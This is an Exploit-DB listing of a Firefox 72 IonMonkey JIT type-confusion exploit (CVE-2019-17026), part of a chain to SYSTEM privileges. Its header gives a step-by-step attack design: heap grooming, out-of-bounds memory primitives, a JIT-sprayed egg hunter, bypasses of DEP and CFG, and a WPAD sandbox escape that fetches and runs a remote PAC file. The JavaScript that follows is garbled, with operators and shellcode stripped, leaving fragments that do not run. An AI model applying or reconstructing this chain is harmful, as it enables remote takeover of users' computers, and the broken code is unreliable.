标题: Firefox 72 IonMonkey - JIT Type Confusion EDB-ID: 49864 CVE: 2019-17026 类型: LOCAL 平台: WINDOWS_X86-64 发布日期: 2021-05-13 漏洞利用脚本: # Exploit Title: Firefox 72 IonMonkey - JIT Type Confusion
# Date: 2021-05-10
# Exploit Author: deadlock (Forrest Orr)
# Vendor Homepage: https://www.mozilla.org/en-US/
# Software Link: https://www.mozilla.org/en-US/firefox/new/
# Versions: Firefox < 72 64-bit
# Tested on: Windows 7 x64, Windows 8.1 x64, Windows 10 x64
# CVE: CVE-2019-17026
# Bypasses: DEP, ASLR, CFG, sandboxing
# Credits: maxpl0it, 0vercl0k
# Full explain chain writeup: https://github.com/forrest-orr/DoubleStar

/*
________                 ___.    .__                 _________  __
\______ \    ____   __ __\_ |__  |  |    ____       /   _____/_/  |_ _____  _______
 |    |  \  /  _ \ |  |  \| __ \ |  |  _/ __ \      \_____  \ \   __\\__  \ \_  __ \
 |    `   \(  <_> )|  |  /| \_\ \|  |__\  ___/      /        \ |  |   / __ \_|  | \/
/_______  / \____/ |____/ |___  /|____/ \___  >    /_______  / |__|  (____  /|__|
        \/                    \/            \/             \/             \/
Windows 8.1 IE/Firefox RCE -> Sandbox Escape -> SYSTEM EoP Exploit Chain

                            ______________
                            | Remote PAC | 
                            |____________|  
                                   ^
                                   | HTTPS
_______________  RPC/ALPC   _______________   RPC/ALPC   _______________
| firefox.exe | ----------> | svchost.exe | -----------> | spoolsv.exe |
|_____________|             |_____________| <----------- |_____________|
                                   |          RPC/Pipe
                                   |
               _______________     | 
               | malware.exe | <---| Execute impersonating NT AUTHORY\SYSTEM
               |_____________|

~

Component

Firefox 64-bit IonMonkey JIT/Type Confusion RCE. Represents the initial attack
vector when a user visits an infected web page with a vulnerable version of
Firefox. This component contains a stage one (egg hunter) and stage two (WPAD
sandbox escape) shellcode, the latter of which is only effective on Windows 8.1
due to hardcoded RPC IDL interface details for WPAD.


_______________  JIT spray   ______________  DEP bypass   _______________________
| firefox.exe | -----------> | Egg hunter | ------------> | WPAD sandbox escape |
|_____________|              | shellcode  |               | shellcode (heap)    |
                             |____________|               |_____________________|                                                                    

~

Overview

This is a Windows variation of CVE-2019-17026, an exploit targetting a type
confusion bug in the IonMonkey engine of Firefox up to FF 72. Due to specific
issues with heap grooming, this particular variant of CVE-2019-17026 only works
on versions of Firefox up to FF 69 even though the bug was not fixed until FF
72 and is still technically exploitable on FF 70 and 71.

CVE-2019-17026 represents the initial RCE vector in the Double Star exploit
chain. Unlike my re-creation of CVE-2020-0674, which is limited to efficacy
in IE/WPAD instances running within Windows 7 and 8.1 (with Windows 10 CFG and
WPAD sandboxing being beyond the scope of this project in complexity to bypass)
this particular exploit is effective on any version of Windows, including 10
provided that a vulnerable version of Firefox is installed. The reason for this
is that presence of (and exploit usage of) a JIT engine in this exploit makes
dealing with both DEP and CFG substantially easier.

~

Design

This exploit contains two shellcodes: an egg hunter/DEP bypass shellcode (which
is JIT sprayed) and a primary (stage two) shellcode stored as a static Uint8Array.
The stage one (egg hunter) shellcode is responsible for scanning the entire
memory space of the current firefox.exe process and finding the stage two
shellcode on the heap. This is achieved by prefixing the stage two shellcode
with a special 64-bit egg value which this egg hunter shellcode scans for. Once
it has found the stage two shellcode, it uses KERNEL32.DLL!VirtualProtect to
change its permissions to +RWX, and then directly executes it via a CALL
instruction.

The type confusion bug allows for an array boundscheck to be eliminated, thus
allowing for an OOB R/W via a glitched array. The nursery heap (where the array
is stored) is groomed so that 3 arrays are lined up in memory:

[Array 1][Array 2][Array 3]

The first array is used with the JIT bug to make an OOB write and corrupt the
metadata of the second array. Specifically, it corrupts its length to allow for
OOB R/W at will (without the JIT bug) which is subsequently used throughout
the remainer of the exploit to corrupt the Native Object structure of the third
array to build arbitrary R/W and AddressOf primitives.

A JIT spray is then used to spray an egg hunter shellcode (encoded as double
floats) into +RX memory, encapsulated in a do-nothing function. The JIT code
pointer of this function is leaked and subsequently used with an egg hunter
in the JS itself (using arbitrary read) to find the egg which marks the 
start of the egg hunter shellcode in +RX memory. In this sense, the exploit
contains 2 egg hunters: a JS egg hunter which searches for a JIT sprayed egg
hunter which in turn hunts for the full (stage two) WPAD sandbox escape
shellcode. Once the JIT sprayed (stage one) egg hunter shellcode finds the stage
two shellcode, it sets its memory region to +RWX and directly executes it.

~

Sandboxing

The Firefox sandbox prevents access to the filesystem (besides a special sandbox
temp directory) and registry but additionally (unlike IE11 on Windows 8.1) locks
down access to the desktop window session (which prevents even a MessageBoxA
from popping) and sets a child process creation quota of zero (preventing the
creation of child processes). By adjusting the sandbox content level in the FF
"about:config" settings some of these features can be disabled for testing
purposes. For example, setting the content level down from "5" (the default) to
"2" will allow MessageBoxA to pop as well as child process creation, however even
when the content level is set down to "0" there are certain protections which will
persist (such as inability to access the file system). 

One vector however which is not guarded by the sandbox is access to ALPC port
objects, which can be used to initiate connections to LocalServer32 COM servers
running in external (and potentially non-sandboxed or elevated) processes. This
detail is exploited by this chain by utilizing a stage two shellcode which
initiates an RPC (ALPC) connection to the WPAD service and triggers it to
download and execute a PAC file from a remote URL containing CVE-2020-0674 into
its own process (svchost.exe running as LOCAL SERVICE). In this way, the sandbox
can be escaped via RPC/ALPC and simultaneously elevated from the current user
session (which may have limited/non-administrator privileges) into a sensitive
service process.

~

Credits

maxpl0it  - for writing the initial analysis and PoC for CVE-2019-17026 with a
            focus on the Linux OS.
            
0vercl0k  - for documenting IonMonkey internals in relation to aliasing and
            the GVN.

*/







 Shellcode                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
 JITIterations   
 HelperBuf   
 HelperDbl   HelperBuf
 HelperDword   HelperBuf






 EnableDebug  
 EnableTimers  
 AlertOutput  
 TimeStart
 ReadCount

  
    ReadCount  
    TimeStart   


 Message 
     TotalTime     TimeStart
    
    EnableTimers 
        AlertOutput 
              Message    TotalTime    ReadCount
        
         
            console  Message    TotalTime    ReadCount
        
    


 Message 
    EnableDebug 
        AlertOutput 
            Message
        
         
            consoleMessage 
        
    





SideEffectArray      
BugArray1    
BugArray2    
MutableArray    

SideEffectArray x  
    
    BugArray1length  
    BugArray2length  
    MutableArraylength  
    


   
    BufSize       
    
     i   i   i 
         x   BufSize 
    


 SideEffectIndex Index DblVal 
    
    
    BugArray1Index  
    BugArray1Index    

    
    
    SideEffectArraySideEffectIndex  

    
    
    BugArray1Index  DblVal 
    BugArray1Index     


 i   i  JITIterations i 
    SideEffectArraylength   
      




SideEffectArraylength   
  



MutableArrayx   
MutableArrayy  
MutableArrayz   



 TargetAddress 
    SavedSlotsPtr  BugArray2
    BugArray2  TargetAddress
    LeakedDbl  MutableArrayx
    BugArray2  SavedSlotsPtr
     LeakedDbl


 TargetAddress Val  
    SavedSlotsPtr  BugArray2
    BugArray2  TargetAddress
    MutableArrayx  Val
    BugArray2  SavedSlotsPtr


 Obj 
    SavedSlotsPtr  BugArray2 
    
    
    
    MutableArrayy  Obj

    
    
    
    HelperDbl  BugArray2
    HelperDword  HelperDword  
    BugArray2  HelperDbl
    
    
    
    HelperDbl  MutableArrayx
    LeakedLow  HelperDword
    HelperDbl  MutableArrayy 
    LeakedHigh  HelperDword   
    BugArray2  SavedSlotsPtr
    HelperDword  LeakedLow
    HelperDword  LeakedHigh
    
     HelperDbl


ExplicitDblArray    
ExplicitDblArrayDataPtr   

 TargetAddress 
    ExplicitDblArrayDataPtr TargetAddress
     ExplicitDblArray




 
    Egg   
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      
      


 TargetAddressDbl 
    HelperDbl  TargetAddressDbl

     i   i   i  
        DblVal  HelperDbl 
        
        DblVal   
            HelperDword  HelperDword   
             HelperDbl
        
        
        HelperDword  HelperDword  
    
    
     







    
  
     i   i  JITIterations i 
         
    
    
    HelperDbl  JITSprayFunc 
    HelperDword  HelperDword   
    JITInfoAddress  HelperDbl
    HelperDbl  JITInfoAddress
    
    
    
    HelperDword   
        
        windowlocation
    
     
        
        
        HelperDbl  JITInfoAddress 
          HelperDword  HelperDword
        JITCodePtr  HelperDbl
        ExplicitDblArrayAddress  ExplicitDblArray
        HelperDbl  ExplicitDblArrayAddress
        HelperDword  HelperDword   
        ExplicitDblArrayDataPtr  HelperDbl
        ShellcodeAddress  JITCodePtr 

        ShellcodeAddress 
            
            
            JITInfoAddress ShellcodeAddress URL: https://www.exploit-db.com/exploits/49864